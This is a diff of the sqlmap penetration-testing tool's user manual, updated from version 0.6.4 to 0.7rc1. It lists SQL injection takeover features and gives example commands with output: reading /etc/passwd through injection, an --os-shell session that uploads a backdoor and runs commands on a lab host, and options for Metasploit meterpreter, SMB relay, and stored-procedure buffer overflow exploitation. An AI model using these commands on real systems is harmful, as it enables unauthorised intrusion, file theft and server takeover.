| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
+----+----------------------------------------------+-------------------+
</PRE>
</CODE></BLOCKQUOTE>
@ -3343,7 +3448,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
@ -3433,7 +3538,7 @@ Table: users
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
| 2 | fluffy | bunny |
| 1 | luther | blisset |
| 3 | wu | ming |
@ -3839,83 +3944,63 @@ support when the back-end DBMS is PostgreSQL.</P>
<H2><A NAME="ss5.8">5.8</A> <A HREF="#toc5.8">File system access</A>
</H2>
<H3>Read a specific file content</H3>
<H3>Read a file from the back-end DBMS file system</H3>
<P>Option: <CODE>--read-file</CODE></P>
<P>If the back-end database management system is MySQL and the current user
has <CODE>FILE</CODE> access (access to <CODE>LOAD_FILE()</CODE> builtin function),
it is possible to read the content of a specific file from the file system.</P>
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
<P>
<BLOCKQUOTE><CODE>
<PRE>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--read-file /etc/passwd -v 0
/etc/passwd:
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
---
</PRE>
</CODE></BLOCKQUOTE>
</P>
<H3>Write a local file on the back-end DBMS file system</H3>
<P>Options: <CODE>--write-file</CODE> and <CODE>--dest-file</CODE></P>
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
<H2><A NAME="ss5.9">5.9</A> <A HREF="#toc5.9">Operating system access</A>
</H2>
<H3>Execute an operating system command</H3>
<P>Option: <CODE>--os-cmd</CODE></P>
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
<H3>Prompt for an interactive operating system shell</H3>
<P>Option: <CODE>--os-shell</CODE></P>
<P>If the back-end database management system is MySQL, the web application's
programming language is PHP and you, or sqlmap itself, found a writable
directory within the web server document root path, sqlmap can prompt for
an interactive operating system shell on the back-end database management
system.</P>
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
<P>
<BLOCKQUOTE><CODE>
<PRE>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--os-shell -v 0
[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
you want sqlmap to try to upload the agent [/var/www/test]:
[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
right now? [Y/n] y
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
</PRE>
</CODE></BLOCKQUOTE>
</P>
<H3>Prompt for an out-of-band shell, meterpreter or VNC</H3>
<P>As you might notice, such operating system shell has the same
functionalities of SQL shell in terms of TAB completion and history support.</P>
<P>Options: <CODE>--os-pwn</CODE>, <CODE>--priv-esc</CODE>, <CODE>--msf-path</CODE> and <CODE>--tmp-path</CODE></P>
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
<H3>One click prompt for an out-of-band shell, meterpreter or VNC</H3>
<P>Options: <CODE>--os-smbrelay</CODE>, <CODE>--priv-esc</CODE> and <CODE>--msf-path</CODE></P>
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
<H3>Stored procedure buffer overflow exploitation</H3>
<P>Options: <CODE>--os-bof</CODE>, <CODE>--priv-esc</CODE> and <CODE>--msf-path</CODE></P>
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
<H2><A NAME="ss5.10">5.10</A> <A HREF="#toc5.10">Miscellaneous</A>
@ -4032,7 +4117,7 @@ $ python sqlmap.py --update -v 4
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1
Host: sqlmap.sourceforge.net
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@ -4051,7 +4136,7 @@ X-Pad: avoid browser bug
[hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
language=en-US
Connection: close
@ -4215,7 +4300,6 @@ INI file, <CODE>sqlmap-SAUbs.conf</CODE>.</P>
<BLOCKQUOTE><CODE>
<PRE>
$ cat sqlmap-SAUbs.conf
[Target]
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
googledork =
@ -4230,7 +4314,7 @@ delay = 0
headers =
cookie =
proxy =
timeout = 10
timeout = 30
acred =
referer =
data =
@ -4238,10 +4322,11 @@ method = GET
[Miscellaneous]
updateall = False
eta = False
verbose = 2
batch = False
sessionfile =
eta = False
batch = False
cleanup = False
verbose = 1
[Enumeration]
dumpall = False
@ -4267,24 +4352,33 @@ getcurrentuser = False
getbanner = True
[File system]
dfile =
wfile =
rfile =
[Takeover]
msfpath =
osshell = False
ossmb = False
privesc = False
ospwn = False
tmppath =
oscmd =
osbof = False
[Fingerprint]
extensivefp = False
[Injection]
estring =
dbms =
string =
postfix =
regexp =
prefix =
testparameter =
regexp =
estring =
eregexp =
os =
[Techniques]
stackedtest = False
@ -4362,6 +4456,14 @@ back-end DBMS: MySQL >= 5.0.0
vulnerable parameter which is the default behaviour.</P>
<H3>Clean up the DBMS by sqlmap specific UDF and tables</H3>
<P>Option: <CODE>--cleanup</CODE></P>
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
<H2><A NAME="s6">6.</A> <A HREF="#toc6">Disclaimer</A></H2>
<P>sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
@ -4375,18 +4477,12 @@ that such action might get you in trouble with a lot of law enforcement
agencies.</P>
<H2><A NAME="s7">7.</A> <A HREF="#toc7">Authors</A></H2>
<H2><A NAME="s7">7.</A> <A HREF="#toc7">Author</A></H2>
<P>
<UL>
<LI>
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A> (inquis) - project leader, core developer. PGP Key ID:
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&amp;search=0x05F5A30F">0x05F5A30F</A></LI>
<LI>
<A HREF="mailto:daniele.bellucci@gmail.com">Daniele Bellucci</A> (belch) - project founder, initial developer. PGP Key ID:
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&amp;search=0x9A0E8190">0x9A0E8190</A></LI>
</UL>
</P>
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A> (inquis) - Lead developer.
PGP Key ID:
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&amp;search=0x05F5A30F">0x05F5A30F</A></P>
</BODY>

Binary file not shown.

View File

@ -4,7 +4,7 @@
<title>sqlmap user's manual
<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">
<date>version 0.6.4, 3rd of February 2009
<date>version 0.7 release candidate 1, April 22, 2009
<abstract>
This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">.
Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage">
@ -24,8 +24,12 @@ in web applications. Once it detects one or more SQL injections on the
target host, the user can choose among a variety of options to perform an
extensive back-end database management system fingerprint, retrieve DBMS
session user and database, enumerate users, password hashes, privileges,
databases, dump entire or user's specific DBMS tables/columns, run his own
SQL statement, read specific files on the file system and more.
databases, dump entire or user's specified DBMS tables/columns, run his own
SQL statement, read or write either text or binary files on the file
system, execute arbitrary commands on the operating system, establish an
out-of-band stateful connection between the attacker box and the database
server via Metasploit payload stager, database stored procedure buffer
overflow exploitation or SMB relay attack and more.
<sect1>Requirements
@ -34,7 +38,7 @@ SQL statement, read specific files on the file system and more.
sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">,
a dynamic object-oriented interpreted programming language.
This makes the tool independent from the operating system since it only
requires the Python interpreter version equal or above to 2.4.
requires the Python interpreter version equal or above to <bf>2.5</bf>.
The interpreter is freely downloadable from its
<htmlurl url="http://python.org/download/" name="official site">.
To make it even easier, many GNU/Linux distributions come out of the box
@ -43,6 +47,12 @@ too provide it packaged in their formats and ready to be installed.
Windows users can download and install the Python setup-ready installer
for x86, AMD64 and Itanium too.
sqlmap relies on the <htmlurl url="http://metasploit.com/framework/"
name="Metasploit Framework"> for some of its post-exploitation takeover
functionalities. You need to grab a copy of it from the
<htmlurl url="http://metasploit.com/framework/download/" name="download">
page. The required version is <bf>3.2</bf> or above.
Optionally, if you are running sqlmap on Windows, you may wish to install
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
library to be able to take advantage of the sqlmap TAB completion and
@ -144,10 +154,11 @@ sqlmap implements three techniques to exploit a SQL injection
vulnerability:
<itemize>
<item><bf>Inferential blind SQL injection</bf>: sqlmap appends to the
affected parameter in the HTTP request, a syntatically valid SQL statement
string containing a <tt>SELECT</tt> sub-statement, or any other SQL
statement whose the user want to retrieve the output.
<item><bf>Inferential blind SQL injection</bf>, also known as <bf>boolean
based blind SQL injection</bf>: sqlmap appends to the affected parameter in
the HTTP request, a syntatically valid SQL statement string containing a
<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user
want to retrieve the output.
For each HTTP response, by making a comparison based upon HTML page
content hashes, or string matches, with the original request, the tool
determines the output value of the statement character by character.
@ -155,21 +166,22 @@ The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each output character with at maximum seven HTTP
requests.
This is sqlmap default SQL injection technique.
<item><bf>UNION query (inband) SQL injection</bf>, also known as <bf>Full
<item><bf>UNION query (inband) SQL injection</bf>, also known as <bf>full
UNION query SQL injection</bf>: sqlmap appends to the affected parameter
in the HTTP request, a syntatically valid SQL statement string starting
with a <tt>UNION ALL SELECT</tt>. This techique is useful if the web
application page passes the output of the <tt>SELECT</tt> statement to a
<tt>for</tt> cycle, or similar, so that each line of the query output is
printed on the page content.
sqlmap is also able to exploit <bf>Partial UNION query SQL injection</bf>
vulnerabilities which occur when the output of the statement is not cycled
in a for construct whereas only the first entry output is displayed.
sqlmap is also able to exploit <bf>partial (single entry) UNION query SQL
injection</bf> vulnerabilities which occur when the output of the statement
is not cycled in a for construct whereas only the first entry output is
displayed.
This technique is much faster if the target url is affected by because
in a single HTTP response it returns the whole query output or a entry
per each response within the page content.
This SQL injection technique is an alternative to the first one.
<item><bf>Stacked queries support</bf>, also known as <bf>multiple
<item><bf>Batched (stacked) queries support</bf>, also known as <bf>multiple
statements support</bf>: sqlmap tests if the web application supports
stacked queries then, in case it does support, it appends to the affected
parameter in the HTTP request, a semi-colon (<tt>;</tt>) followed by the
@ -187,6 +199,10 @@ and the session user privileges.
<p>
Major features implemented in sqlmap include:
<sect1>Generic features
<p>
<itemize>
<item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf>
and <bf>Microsoft SQL Server</bf> back-end database management systems.
@ -195,31 +211,8 @@ identify Microsoft Access, DB2, Informix, Sybase and Interbase.
<item>Full support for three SQL injection techniques: <bf> inferential
blind SQL injection</bf>, <bf>UNION query (inband) SQL injection</bf> and
<bf>stacked queries (multiple statements) support</bf>. sqlmap can also
test for <bf>time based blind SQL injection</bf>.
<item><bf>Extensive back-end database management system fingerprint</bf>
based upon
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">,
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">,
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features">
such as MySQL comment injection. It is also possible to force the back-end
database management system name if you already know it. sqlmap is also able
to fingerprint the web server operating system, the web application
technology and, in some circumstances, the back-end DBMS operating system.
<item>Options to retrieve on all four back-end database management system
<bf>banner</bf>, <bf>current user</bf>, <bf>current database</bf>,
enumerate <bf>users</bf>, <bf>users password hashes</bf>, <bf>users
privileges</bf>, <bf>databases</bf>, <bf>tables</bf>, <bf>columns</bf>,
dump <bf>tables entries</bf>, dump <bf>whole database management
system</bf> and run your <bf>own SQL statement</bf>.
<item>If the back-end database management system is MySQL it is also
possible to <bf>read a specific file content</bf> from the ile system and,
in some circumstances, <bf>prompt for an interactive operating system
shell</bf> with TAB completion and history support.
<bf>batched queries support</bf>. sqlmap can also test for <bf>time based
blind SQL injection</bf>.
<item>It is possible to provide a single target URL, get the list of
targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy">
@ -287,18 +280,80 @@ save command line options on a configuration INI file.
<htmlurl url="http://metasploit.com/framework/" name="Metasploit"> and <htmlurl
url="http://w3af.sourceforge.net/" name="w3af">.
<item><bf>File system</bf> read and write access and <bf>operating
system</bf> command execution by providing own queries, depending on the
session user privileges and back-end DBMS.
<item><bf>PHP setting <tt>magic_quotes_gpc</tt> bypass</bf> by encoding
every query string, between single quotes, with <tt>CHAR</tt>, or similar,
database management system function.
</itemize>
<sect1>Enumeration features
<p>
<itemize>
<item><bf>Extensive back-end database management system software and
underlying operating system fingerprint</bf>
based upon
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">,
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">,
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features">
such as MySQL comment injection. It is also possible to force the back-end
database management system name if you already know it. sqlmap is also able
to fingerprint the web server operating system, the web application
technology and, in some circumstances, the back-end DBMS operating system.
<item>Basic web server software and web application technology fingerprint.
<item>Support to retrieve on all four back-end database management system
<bf>banner</bf>, <bf>current user</bf>, <bf>current database</bf>, check
if the current user is a database administrator, enumerate <bf>users</bf>,
<bf>users password hashes</bf>, <bf>users privileges</bf>,
<bf>databases</bf>, <bf>tables</bf>, <bf>columns</bf>, dump <bf>tables
entries</bf>, dump <bf>whole database management system</bf> and run user's
<bf>own SQL statement</bf>.
</itemize>
<sect1>Takeover features
<p>
<itemize>
<item>Support to <bf>read either text or binary files</bf> from the
database server underlying file system when the database software is MySQL,
PostgreSQL and Microsoft SQL Server.
<item>Support to <bf>execute arbitrary commands</bf> on the database server
underlying operating system when the database software is MySQL,
PostgreSQL via user-defined function injection and Microsoft SQL Server via
<tt>xp_cmdshell()</tt> stored procedure.
<item>Support to <bf>establish an out-of-band stateful connection between
the attacker box and the database server</bf> underlying operating system
via:
<itemize>
<item><bf>Stand-alone payload stager</bf> created by Metasploit and
supporting Meterpreter, shell and VNC payloads for both Windows and Linux;
<item><bf>Microsoft SQL Server 2000 and 2005 <tt>sp_replwritetovarbin</tt>
stored procedure heap-based buffer overflow</bf> (MS09-004) exploitation
with multi-stage Metasploit payload support;
<item><bf>SMB reflection attack</bf> with UNC path request from the
database server to the attacker box by using the Metasploit
<tt>smb_relay</tt> exploit on the attacker box.
</itemize>
<item>Support for <bf>database process' user privilege escalation</bf> via
Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via
either Meterpreter's <tt>incognito</tt> extension or <tt>Churrasco</tt>
stand-alone executable.
</itemize>
<sect>Download and update
<p>
<bf>sqlmap 0.7 release candidate 1</bf> version can be downloaded as a
<htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.gz"
name="source gzip compressed"> file or as a <htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.zip"
name="source zip compressed"> file.
<p>
sqlmap can be downloaded from its
<htmlurl url="http://sourceforge.net/project/showfiles.php?group_id=171598&amp;package_id=196107"
@ -306,24 +361,24 @@ name="SourceForge File List page">.
It is available in various formats:
<itemize>
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.gz"
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.gz"
name="Source gzip compressed"> operating system independent.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.bz2"
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.bz2"
name="Source bzip2 compressed"> operating system independent.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.zip"
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.zip"
name="Source zip compressed"> operating system independent.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.4-1_all.deb"
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.7rc1-1_all.deb"
name="DEB binary package"> architecture independent for Debian and any
other Debian derivated GNU/Linux distribution.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4-1.noarch.rpm"
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1-1.noarch.rpm"
name="RPM binary package"> architecture independent for Fedora and any
other operating system that can install RPM packages.
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4_exe.zip"
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1_exe.zip"
name="Portable executable for Windows"> that <bf>does not require the Python
interpreter</bf> to be installed on the operating system.
</itemize>
@ -360,8 +415,8 @@ and <htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci">.
<tscreen><verb>
$ python sqlmap.py -h
sqlmap/0.6.4 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap/0.7rc1
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
Usage: sqlmap.py [options]
@ -382,19 +437,20 @@ Options:
Request:
These options can be used to specify how to connect to the target url.
--method=METHOD HTTP method, GET or POST (default: GET)
--method=METHOD HTTP method, GET or POST (default GET)
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--referer=REFERER HTTP Referer header
--user-agent=AGENT HTTP User-Agent header
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
--headers=HEADERS Extra HTTP headers '\n' separated
--auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
--auth-cred=ACRED HTTP Authentication credentials, value: name:password
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP Authentication type (value Basic or Digest)
--auth-cred=ACRED HTTP Authentication credentials (value name:password)
--proxy=PROXY Use a HTTP proxy to connect to the target url
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
Injection:
These options can be used to specify which parameters to test for,
@ -403,13 +459,13 @@ Options:
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--prefix=PREFIX Injection payload prefix string
--postfix=POSTFIX Injection payload postfix string
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
--excl-str=ESTRING String to be excluded before calculating page hash
--excl-reg=EREGEXP Regexp matches to be excluded before calculating page
hash
--excl-str=ESTRING String to be excluded before comparing page contents
--excl-reg=EREGEXP Matches to be excluded before comparing page contents
Techniques:
These options can be used to test for specific SQL injection technique
@ -418,6 +474,7 @@ Options:
--stacked-test Test for stacked queries (multiple statements) support
--time-test Test for time based blind SQL injection
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-test Test for UNION query (inband) SQL injection
--union-tech=UTECH Technique to test for UNION query SQL injection
--union-use Use the UNION query (inband) SQL injection to retrieve
@ -436,13 +493,13 @@ Options:
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes (opt: -U)
--privileges Enumerate DBMS users privileges (opt: -U)
--passwords Enumerate DBMS users password hashes (opt -U)
--privileges Enumerate DBMS users privileges (opt -U)
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables (opt: -D)
--columns Enumerate DBMS database table columns (req:-T opt:-D)
--dump Dump DBMS database table entries (req: -T, opt: -D,
-C, --start, --stop)
--tables Enumerate DBMS database tables (opt -D)
--columns Enumerate DBMS database table columns (req -T opt -D)
--dump Dump DBMS database table entries (req -T, opt -D, -C,
--start, --stop)
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
@ -456,28 +513,32 @@ Options:
File system access:
These options can be used to access the back-end database management
system file system taking advantage of native DBMS functions or
specific DBMS design weaknesses.
system underlying file system.
--read-file=RFILE Read a specific OS file content (only on MySQL)
--write-file=WFILE Write to a specific OS file (not yet available)
--read-file=RFILE Read a file from the back-end DBMS file system
--write-file=WFILE Write a local file on the back-end DBMS file system
--dest-file=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
This option can be used to access the back-end database management
system operating system taking advantage of specific DBMS design
weaknesses.
system underlying operating system.
--os-shell Prompt for an interactive OS shell (only on PHP/MySQL
environment with a writable directory within the web
server document root for the moment)
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc User priv escalation by abusing Windows access tokens
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Miscellaneous:
--eta Retrieve each query output length and calculate the
estimated time of arrival in real time
--eta Display for each output the estimated time of arrival
--update Update sqlmap to the latest stable version
-s SESSIONFILE Save and resume all data retrieved on a session file
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
</verb></tscreen>
@ -574,7 +635,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:55] [INFO] testing MySQL
@ -587,7 +648,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</verb></tscreen>
@ -607,7 +668,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200):
@ -628,7 +689,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</verb></tscreen>
@ -648,7 +709,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200):
@ -676,7 +737,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200):
@ -986,7 +1047,7 @@ Host: 192.168.1.125:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close
@ -1002,7 +1063,7 @@ Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@ -1053,7 +1114,7 @@ Accept-language: en-us,en;q=0.5
Referer: http://www.google.com
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</verb></tscreen>
@ -1069,7 +1130,7 @@ By default sqlmap perform HTTP requests providing the following HTTP
<tt>User-Agent</tt> header value:
<tscreen><verb>
sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
</verb></tscreen>
<p>
@ -1190,7 +1251,7 @@ Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
